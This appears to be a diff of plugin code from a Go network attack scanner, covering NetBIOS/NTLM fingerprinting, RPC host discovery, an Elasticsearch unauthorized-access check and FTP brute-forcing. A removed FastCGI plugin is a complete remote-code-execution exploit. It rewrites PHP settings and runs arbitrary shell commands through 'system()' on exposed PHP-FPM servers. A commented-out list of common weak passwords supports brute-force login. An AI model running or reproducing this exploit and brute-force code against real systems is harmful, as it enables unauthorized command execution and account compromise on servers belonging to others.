|
|
||||||
if len(msg) == 0 {
|
|
||||||
err = netbioserr
|
|
||||||
return
|
|
||||||
}
|
|
||||||
err = yaml.Unmarshal([]byte(msg), &netbios)
|
|
||||||
if netbios.DomainName != "" {
|
|
||||||
netbios.GroupName = netbios.DomainName
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
|
|
||||||
if len(ret) < 47 {
|
|
||||||
err = netbioserr
|
|
||||||
return
|
|
||||||
}
|
|
||||||
var num1, num2 int
|
|
||||||
num1, err = bytetoint(ret[43:44][0])
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
num2, err = bytetoint(ret[44:45][0])
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
length := num1 + num2*256
|
|
||||||
if len(ret) < 48+length {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
os_version := ret[47+length:]
|
|
||||||
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
|
|
||||||
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
|
|
||||||
ostext := string(tmp1[:len(tmp1)-1])
|
|
||||||
ss := strings.Split(ostext, "|")
|
|
||||||
netbios.OsVersion = ss[0]
|
|
||||||
start := bytes.Index(ret, []byte("NTLMSSP"))
|
|
||||||
if len(ret) < start+45 {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
num1, err = bytetoint(ret[start+40 : start+41][0])
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
num2, err = bytetoint(ret[start+41 : start+42][0])
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
length = num1 + num2*256
|
|
||||||
num1, err = bytetoint(ret[start+44 : start+45][0])
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
offset, err := bytetoint(ret[start+44 : start+45][0])
|
|
||||||
if err != nil || len(ret) < start+offset+length {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
var msg string
|
|
||||||
index := start + offset
|
|
||||||
for index < start+offset+length {
|
|
||||||
item_type := ret[index : index+2]
|
|
||||||
num1, err = bytetoint(ret[index+2 : index+3][0])
|
|
||||||
if err != nil {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
num2, err = bytetoint(ret[index+3 : index+4][0])
|
|
||||||
if err != nil {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
item_length := num1 + num2*256
|
|
||||||
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
|
|
||||||
index += 4 + item_length
|
|
||||||
if string(item_type) == "\x07\x00" {
|
|
||||||
//Time stamp, 不需要输出
|
|
||||||
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
|
|
||||||
msg += fmt.Sprintf("%s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
|
|
||||||
} else if string(item_type) == "\x00\x00" {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
err = yaml.Unmarshal([]byte(msg), &netbios)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
func JoinNetBios(netbios1, netbios2 *NetBiosInfo) *NetBiosInfo {
|
|
||||||
netbios1.ComputerName = netbios2.ComputerName
|
|
||||||
netbios1.NetDomainName = netbios2.NetDomainName
|
|
||||||
netbios1.NetComputerName = netbios2.NetComputerName
|
|
||||||
if netbios2.DomainName != "" {
|
|
||||||
netbios1.DomainName = netbios2.DomainName
|
|
||||||
}
|
|
||||||
netbios1.OsVersion = netbios2.OsVersion
|
|
||||||
return netbios1
|
|
||||||
}
|
|
||||||
+45
-37
@@ -1,44 +1,52 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import "net"
|
|
||||||
|
|
||||||
var PluginList = map[string]interface{}{
|
var PluginList = map[string]interface{}{
|
||||||
"21": FtpScan,
|
"21": FtpScan,
|
||||||
"22": SshScan,
|
"22": SshScan,
|
||||||
"135": Findnet,
|
"135": Findnet,
|
||||||
"139": NetBIOS,
|
"445": SmbScan,
|
||||||
"445": SmbScan,
|
"1433":MssqlScan,
|
||||||
"1433": MssqlScan,
|
"3306": MysqlScan,
|
||||||
"1521": OracleScan,
|
"5432": PostgresScan,
|
||||||
"3306": MysqlScan,
|
"6379": RedisScan,
|
||||||
"3389": RdpScan,
|
"9200":elasticsearchScan,
|
||||||
"5432": PostgresScan,
|
"11211":MemcachedScan,
|
||||||
"6379": RedisScan,
|
"27017":MongodbScan,
|
||||||
"9000": FcgiScan,
|
|
||||||
"11211": MemcachedScan,
|
|
||||||
"27017": MongodbScan,
|
|
||||||
"1000001": MS17010,
|
"1000001": MS17010,
|
||||||
"1000002": SmbGhost,
|
"1000002": SmbGhost,
|
||||||
"1000003": WebTitle,
|
//"WebTitle":WebTitle,
|
||||||
"1000004": SmbScan2,
|
|
||||||
"1000005": WmiExec,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func ReadBytes(conn net.Conn) (result []byte, err error) {
|
//var Passwords = []string{"admin123A","123456","admin","root","password","123123","123","1","{user}","{user}{user}","{user}1","{user}123","{user}2016","{user}2015","{user}!","","P@ssw0rd!!","qwa123","12345678","test","123qwe!@#","123456789","123321","1314520","666666","woaini","fuckyou","000000","1234567890","8888888","qwerty","1qaz2wsx","abc123","abc123456","1q2w3e4r","123qwe","p@ssw0rd","p@55w0rd","password!","p@ssw0rd!","password1","r00t","tomcat","apache","system","huawei","admin123","zte"}
|
||||||
size := 4096
|
//const Username = "admin"
|
||||||
buf := make([]byte, size)
|
//const Password = "123456"
|
||||||
for {
|
//const Timeout = 3 * time.Second
|
||||||
count, err := conn.Read(buf)
|
//const FTPPORT = 21
|
||||||
if err != nil {
|
//const SSHPORT = 22
|
||||||
break
|
//const MEMCACHEDPORT = 11211
|
||||||
}
|
//const MONGODBPORT = 27017
|
||||||
result = append(result, buf[0:count]...)
|
//const MSSQLPORT = 1433
|
||||||
if count < size {
|
//const OraclePORT = 1433
|
||||||
break
|
//const PSQLPORT = 5432
|
||||||
}
|
//const REDISPORT = 6379
|
||||||
}
|
//const MYSQLPORT = 3306
|
||||||
if len(result) > 0 {
|
//const SMBPORT = 445
|
||||||
err = nil
|
//const POSTGRESPORT = 5432
|
||||||
}
|
|
||||||
return result, err
|
|
||||||
}
|
//var PluginList = map[string]interface{}{
|
||||||
|
// "ftp": FtpScan,
|
||||||
|
// "mysql": MysqlScan,
|
||||||
|
// //"mongodb":MgoConn,
|
||||||
|
// "mssql":MssqlScan,
|
||||||
|
// "redis": RedisScan,
|
||||||
|
// //"smb": SmbScan,
|
||||||
|
// "ssh": SshScan,
|
||||||
|
// //"portscan": PortConn,
|
||||||
|
// //"icmp": IcmpConn,
|
||||||
|
// "postgresql": PostgresScan,
|
||||||
|
// //"urlscan":UrlConn,
|
||||||
|
// //"auth":ApacheConn,
|
||||||
|
// //"subdomain":SDConn,
|
||||||
|
// //"memcached":MemConn,
|
||||||
|
//}
|
||||||
@@ -0,0 +1,71 @@
|
|||||||
|
package Plugins
|
||||||
|
|
||||||
|
import (
|
||||||
|
"../common"
|
||||||
|
"fmt"
|
||||||
|
"io/ioutil"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
func elasticsearchScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
|
geturl2(info)
|
||||||
|
wg.Done()
|
||||||
|
<-ch
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
func geturl2(info *common.HostInfo) (flag bool,err error) {
|
||||||
|
flag = false
|
||||||
|
url := fmt.Sprintf("%s:%d/_cat",info.Url,common.PORTList["elastic"])
|
||||||
|
var client = &http.Client{
|
||||||
|
Transport:&http.Transport{
|
||||||
|
DialContext:(&net.Dialer{
|
||||||
|
Timeout:time.Duration(info.Timeout)*time.Second,
|
||||||
|
}).DialContext,
|
||||||
|
},
|
||||||
|
CheckRedirect:func(req *http.Request, via []*http.Request) error{
|
||||||
|
return http.ErrUseLastResponse
|
||||||
|
},
|
||||||
|
}
|
||||||
|
res,err:=http.NewRequest("GET",url,nil)
|
||||||
|
if err==nil{
|
||||||
|
res.Header.Add("User-agent","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
||||||
|
res.Header.Add("Accept","*/*")
|
||||||
|
res.Header.Add("Accept-Language","zh-CN,zh;q=0.9")
|
||||||
|
res.Header.Add("Accept-Encoding","gzip, deflate")
|
||||||
|
res.Header.Add("Connection","close")
|
||||||
|
resp,err:=client.Do(res)
|
||||||
|
|
||||||
|
if err==nil{
|
||||||
|
defer resp.Body.Close()
|
||||||
|
body, _ := ioutil.ReadAll(resp.Body)
|
||||||
|
if strings.Contains(string(body),"/_cat/master"){
|
||||||
|
result := fmt.Sprintf("Elastic:%s unauthorized",url)
|
||||||
|
common.LogSuccess(result)
|
||||||
|
flag = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return flag,err
|
||||||
|
|
||||||
|
//fmt.Print("\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//if info.Cookie!=""{
|
||||||
|
// res.Header.Add("Cookie",info.Cookie)
|
||||||
|
//}
|
||||||
|
//if info.Header!=""{
|
||||||
|
// var header = make(map[string]string)
|
||||||
|
// err:=json.Unmarshal([]byte(info.Header),&header)
|
||||||
|
// if err!=nil{
|
||||||
|
// Misc.CheckErr(err)
|
||||||
|
// }
|
||||||
|
// for k,v:=range header{
|
||||||
|
// res.Header.Add(k,v)
|
||||||
|
// }
|
||||||
|
//}
|
||||||
@@ -1,372 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bufio"
|
|
||||||
"bytes"
|
|
||||||
"encoding/binary"
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"io"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
//links
|
|
||||||
//https://xz.aliyun.com/t/9544
|
|
||||||
//https://github.com/wofeiwo/webcgi-exploits
|
|
||||||
|
|
||||||
func FcgiScan(info *common.HostInfo) {
|
|
||||||
if common.IsBrute {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
url := "/etc/issue"
|
|
||||||
if common.Path != "" {
|
|
||||||
url = common.Path
|
|
||||||
}
|
|
||||||
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
|
||||||
var reqParams string
|
|
||||||
var cutLine = "-----ASDGTasdkk361363s-----\n"
|
|
||||||
switch {
|
|
||||||
case common.Command == "read":
|
|
||||||
reqParams = ""
|
|
||||||
case common.Command != "":
|
|
||||||
reqParams = "<?php system('" + common.Command + "');die('" + cutLine + "');?>"
|
|
||||||
default:
|
|
||||||
reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
|
|
||||||
}
|
|
||||||
|
|
||||||
env := make(map[string]string)
|
|
||||||
|
|
||||||
env["SCRIPT_FILENAME"] = url
|
|
||||||
env["DOCUMENT_ROOT"] = "/"
|
|
||||||
env["SERVER_SOFTWARE"] = "go / fcgiclient "
|
|
||||||
env["REMOTE_ADDR"] = "127.0.0.1"
|
|
||||||
env["SERVER_PROTOCOL"] = "HTTP/1.1"
|
|
||||||
|
|
||||||
if len(reqParams) != 0 {
|
|
||||||
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
|
|
||||||
env["REQUEST_METHOD"] = "POST"
|
|
||||||
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input"
|
|
||||||
} else {
|
|
||||||
env["REQUEST_METHOD"] = "GET"
|
|
||||||
}
|
|
||||||
|
|
||||||
fcgi, err := New(addr, common.Timeout)
|
|
||||||
defer func() {
|
|
||||||
if fcgi.rwc != nil {
|
|
||||||
fcgi.rwc.Close()
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
if err != nil {
|
|
||||||
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
|
|
||||||
common.LogError(errlog)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
stdout, stderr, err := fcgi.Request(env, reqParams)
|
|
||||||
if err != nil {
|
|
||||||
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
|
|
||||||
common.LogError(errlog)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
//1
|
|
||||||
//Content-type: text/html
|
|
||||||
//
|
|
||||||
//uid=1001(www) gid=1001(www) groups=1001(www)
|
|
||||||
|
|
||||||
//2
|
|
||||||
//Status: 404 Not Found
|
|
||||||
//Content-type: text/html
|
|
||||||
//
|
|
||||||
//File not found.
|
|
||||||
//Primary script unknown
|
|
||||||
|
|
||||||
//3
|
|
||||||
//Status: 403 Forbidden
|
|
||||||
//Content-type: text/html
|
|
||||||
//
|
|
||||||
//Access denied.
|
|
||||||
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
|
|
||||||
var result string
|
|
||||||
var output = string(stdout)
|
|
||||||
if strings.Contains(string(stdout), cutLine) { //命令成功回显
|
|
||||||
output = strings.SplitN(string(stdout), cutLine, 2)[0]
|
|
||||||
if len(stderr) > 0 {
|
|
||||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
|
|
||||||
} else {
|
|
||||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, output)
|
|
||||||
}
|
|
||||||
common.LogSuccess(result)
|
|
||||||
} else if strings.Contains(string(stdout), "File not found") || strings.Contains(string(stdout), "Content-type") || strings.Contains(string(stdout), "Status") {
|
|
||||||
if len(stderr) > 0 {
|
|
||||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, string(stdout), string(stderr))
|
|
||||||
} else {
|
|
||||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, string(stdout))
|
|
||||||
}
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// for padding so we don't have to allocate all the time
|
|
||||||
// not synchronized because we don't care what the contents are
|
|
||||||
var pad [maxPad]byte
|
|
||||||
|
|
||||||
const (
|
|
||||||
FCGI_BEGIN_REQUEST uint8 = iota + 1
|
|
||||||
FCGI_ABORT_REQUEST
|
|
||||||
FCGI_END_REQUEST
|
|
||||||
FCGI_PARAMS
|
|
||||||
FCGI_STDIN
|
|
||||||
FCGI_STDOUT
|
|
||||||
FCGI_STDERR
|
|
||||||
)
|
|
||||||
|
|
||||||
const (
|
|
||||||
FCGI_RESPONDER uint8 = iota + 1
|
|
||||||
)
|
|
||||||
|
|
||||||
const (
|
|
||||||
maxWrite = 6553500 // maximum record body
|
|
||||||
maxPad = 255
|
|
||||||
)
|
|
||||||
|
|
||||||
type header struct {
|
|
||||||
Version uint8
|
|
||||||
Type uint8
|
|
||||||
Id uint16
|
|
||||||
ContentLength uint16
|
|
||||||
PaddingLength uint8
|
|
||||||
Reserved uint8
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *header) init(recType uint8, reqId uint16, contentLength int) {
|
|
||||||
h.Version = 1
|
|
||||||
h.Type = recType
|
|
||||||
h.Id = reqId
|
|
||||||
h.ContentLength = uint16(contentLength)
|
|
||||||
h.PaddingLength = uint8(-contentLength & 7)
|
|
||||||
}
|
|
||||||
|
|
||||||
type record struct {
|
|
||||||
h header
|
|
||||||
buf [maxWrite + maxPad]byte
|
|
||||||
}
|
|
||||||
|
|
||||||
func (rec *record) read(r io.Reader) (err error) {
|
|
||||||
if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if rec.h.Version != 1 {
|
|
||||||
return errors.New("fcgi: invalid header version")
|
|
||||||
}
|
|
||||||
n := int(rec.h.ContentLength) + int(rec.h.PaddingLength)
|
|
||||||
if _, err = io.ReadFull(r, rec.buf[:n]); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (r *record) content() []byte {
|
|
||||||
return r.buf[:r.h.ContentLength]
|
|
||||||
}
|
|
||||||
|
|
||||||
type FCGIClient struct {
|
|
||||||
mutex sync.Mutex
|
|
||||||
rwc io.ReadWriteCloser
|
|
||||||
h header
|
|
||||||
buf bytes.Buffer
|
|
||||||
keepAlive bool
|
|
||||||
}
|
|
||||||
|
|
||||||
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
|
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
|
|
||||||
fcgi = &FCGIClient{
|
|
||||||
rwc: conn,
|
|
||||||
keepAlive: false,
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
func (this *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
|
|
||||||
this.mutex.Lock()
|
|
||||||
defer this.mutex.Unlock()
|
|
||||||
this.buf.Reset()
|
|
||||||
this.h.init(recType, reqId, len(content))
|
|
||||||
if err := binary.Write(&this.buf, binary.BigEndian, this.h); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if _, err := this.buf.Write(content); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if _, err := this.buf.Write(pad[:this.h.PaddingLength]); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
_, err = this.rwc.Write(this.buf.Bytes())
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
func (this *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
|
|
||||||
b := [8]byte{byte(role >> 8), byte(role), flags}
|
|
||||||
return this.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
|
|
||||||
}
|
|
||||||
|
|
||||||
func (this *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
|
|
||||||
b := make([]byte, 8)
|
|
||||||
binary.BigEndian.PutUint32(b, uint32(appStatus))
|
|
||||||
b[4] = protocolStatus
|
|
||||||
return this.writeRecord(FCGI_END_REQUEST, reqId, b)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
|
|
||||||
w := newWriter(this, recType, reqId)
|
|
||||||
b := make([]byte, 8)
|
|
||||||
for k, v := range pairs {
|
|
||||||
n := encodeSize(b, uint32(len(k)))
|
|
||||||
n += encodeSize(b[n:], uint32(len(v)))
|
|
||||||
if _, err := w.Write(b[:n]); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if _, err := w.WriteString(k); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if _, err := w.WriteString(v); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
|
||||||
w.Close()
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func readSize(s []byte) (uint32, int) {
|
|
||||||
if len(s) == 0 {
|
|
||||||
return 0, 0
|
|
||||||
}
|
|
||||||
size, n := uint32(s[0]), 1
|
|
||||||
if size&(1<<7) != 0 {
|
|
||||||
if len(s) < 4 {
|
|
||||||
return 0, 0
|
|
||||||
}
|
|
||||||
n = 4
|
|
||||||
size = binary.BigEndian.Uint32(s)
|
|
||||||
size &^= 1 << 31
|
|
||||||
}
|
|
||||||
return size, n
|
|
||||||
}
|
|
||||||
|
|
||||||
func readString(s []byte, size uint32) string {
|
|
||||||
if size > uint32(len(s)) {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
return string(s[:size])
|
|
||||||
}
|
|
||||||
|
|
||||||
func encodeSize(b []byte, size uint32) int {
|
|
||||||
if size > 127 {
|
|
||||||
size |= 1 << 31
|
|
||||||
binary.BigEndian.PutUint32(b, size)
|
|
||||||
return 4
|
|
||||||
}
|
|
||||||
b[0] = byte(size)
|
|
||||||
return 1
|
|
||||||
}
|
|
||||||
|
|
||||||
// bufWriter encapsulates bufio.Writer but also closes the underlying stream when
|
|
||||||
// Closed.
|
|
||||||
type bufWriter struct {
|
|
||||||
closer io.Closer
|
|
||||||
*bufio.Writer
|
|
||||||
}
|
|
||||||
|
|
||||||
func (w *bufWriter) Close() error {
|
|
||||||
if err := w.Writer.Flush(); err != nil {
|
|
||||||
w.closer.Close()
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
return w.closer.Close()
|
|
||||||
}
|
|
||||||
|
|
||||||
func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter {
|
|
||||||
s := &streamWriter{c: c, recType: recType, reqId: reqId}
|
|
||||||
w := bufio.NewWriterSize(s, maxWrite)
|
|
||||||
return &bufWriter{s, w}
|
|
||||||
}
|
|
||||||
|
|
||||||
// streamWriter abstracts out the separation of a stream into discrete records.
|
|
||||||
// It only writes maxWrite bytes at a time.
|
|
||||||
type streamWriter struct {
|
|
||||||
c *FCGIClient
|
|
||||||
recType uint8
|
|
||||||
reqId uint16
|
|
||||||
}
|
|
||||||
|
|
||||||
func (w *streamWriter) Write(p []byte) (int, error) {
|
|
||||||
nn := 0
|
|
||||||
for len(p) > 0 {
|
|
||||||
n := len(p)
|
|
||||||
if n > maxWrite {
|
|
||||||
n = maxWrite
|
|
||||||
}
|
|
||||||
if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil {
|
|
||||||
return nn, err
|
|
||||||
}
|
|
||||||
nn += n
|
|
||||||
p = p[n:]
|
|
||||||
}
|
|
||||||
return nn, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (w *streamWriter) Close() error {
|
|
||||||
// send empty record to close the stream
|
|
||||||
return w.c.writeRecord(w.recType, w.reqId, nil)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
|
|
||||||
|
|
||||||
var reqId uint16 = 1
|
|
||||||
defer this.rwc.Close()
|
|
||||||
|
|
||||||
err = this.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
err = this.writePairs(FCGI_PARAMS, reqId, env)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if len(reqStr) > 0 {
|
|
||||||
err = this.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
rec := &record{}
|
|
||||||
var err1 error
|
|
||||||
|
|
||||||
// recive untill EOF or FCGI_END_REQUEST
|
|
||||||
for {
|
|
||||||
err1 = rec.read(this.rwc)
|
|
||||||
if err1 != nil {
|
|
||||||
if err1 != io.EOF {
|
|
||||||
err = err1
|
|
||||||
}
|
|
||||||
break
|
|
||||||
}
|
|
||||||
switch {
|
|
||||||
case rec.h.Type == FCGI_STDOUT:
|
|
||||||
retout = append(retout, rec.content()...)
|
|
||||||
case rec.h.Type == FCGI_STDERR:
|
|
||||||
reterr = append(reterr, rec.content()...)
|
|
||||||
case rec.h.Type == FCGI_END_REQUEST:
|
|
||||||
fallthrough
|
|
||||||
default:
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return
|
|
||||||
}
|
|
||||||
+41
-47
@@ -2,83 +2,77 @@ package Plugins
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"bytes"
|
"bytes"
|
||||||
"encoding/hex"
|
"net"
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
//"encoding/binary"
|
||||||
|
"encoding/hex"
|
||||||
|
"fmt"
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"../common"
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
buffer_v1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
||||||
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
buffer_v2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
||||||
bufferV3, _ = hex.DecodeString("0900ffff0000")
|
buffer_v3, _ = hex.DecodeString("0900ffff0000")
|
||||||
)
|
|
||||||
|
|
||||||
func Findnet(info *common.HostInfo) error {
|
)
|
||||||
err := FindnetScan(info)
|
func Findnet(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
return err
|
FindnetScan(info)
|
||||||
|
wg.Done()
|
||||||
|
<- ch
|
||||||
}
|
}
|
||||||
|
|
||||||
func FindnetScan(info *common.HostInfo) error {
|
func FindnetScan(info *common.HostInfo) {
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, 135)
|
realhost:=fmt.Sprintf("%s:%d",info.Host,135)
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||||
defer func() {
|
if err != nil{
|
||||||
if conn != nil {
|
return
|
||||||
conn.Close()
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
_, err = conn.Write(bufferV1)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
|
conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
|
||||||
|
defer conn.Close()
|
||||||
|
conn.Write(buffer_v1)
|
||||||
reply := make([]byte, 4096)
|
reply := make([]byte, 4096)
|
||||||
_, err = conn.Read(reply)
|
_, err = conn.Read(reply)
|
||||||
if err != nil {
|
if err != nil{
|
||||||
return err
|
return
|
||||||
}
|
|
||||||
_, err = conn.Write(bufferV2)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
|
conn.Write(buffer_v2)
|
||||||
if n, err := conn.Read(reply); err != nil || n < 42 {
|
if n, err := conn.Read(reply); err != nil || n < 42 {
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
text := reply[42:]
|
text := reply[42:]
|
||||||
flag := true
|
flag := true
|
||||||
for i := 0; i < len(text)-5; i++ {
|
for i := 0; i < len(text)-5; i++ {
|
||||||
if bytes.Equal(text[i:i+6], bufferV3) {
|
if bytes.Equal(text[i:i+6], buffer_v3){
|
||||||
text = text[:i-4]
|
text = text[:i-4]
|
||||||
flag = false
|
flag = false
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if flag {
|
if flag{
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
err = read(text, info.Host)
|
read(text,info.Host)
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
func read(text []byte, host string) error {
|
func read(text []byte,host string) {
|
||||||
encodedStr := hex.EncodeToString(text)
|
encodedStr := hex.EncodeToString(text)
|
||||||
hostnames := strings.Replace(encodedStr, "0700", "", -1)
|
hostnames := strings.Replace(encodedStr, "0700", "", -1)
|
||||||
hostname := strings.Split(hostnames, "000000")
|
hostname := strings.Split(hostnames, "000000")
|
||||||
result := "[*] NetInfo:\n[*]" + host
|
result := "NetInfo:\n[*]"+host
|
||||||
for i := 0; i < len(hostname); i++ {
|
for i := 0; i < len(hostname); i++ {
|
||||||
hostname[i] = strings.Replace(hostname[i], "00", "", -1)
|
hostname[i] = strings.Replace(hostname[i], "00", "", -1)
|
||||||
host, err := hex.DecodeString(hostname[i])
|
host,err := hex.DecodeString(hostname[i])
|
||||||
if err != nil {
|
if err != nil{
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
result += "\n [->]" + string(host)
|
result += "\n [->]"+string(host)
|
||||||
|
//result += "\n ["+string(host)+"]"
|
||||||
}
|
}
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
+22
-60
@@ -1,79 +1,41 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"../common"
|
||||||
"github.com/jlaffaye/ftp"
|
"github.com/jlaffaye/ftp"
|
||||||
"github.com/shadow1ng/fscan/common"
|
"fmt"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
func FtpScan(info *common.HostInfo) (tmperr error) {
|
func FtpScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
if common.IsBrute {
|
Loop:
|
||||||
return
|
for _,user:=range common.Userdict["ftp"]{
|
||||||
}
|
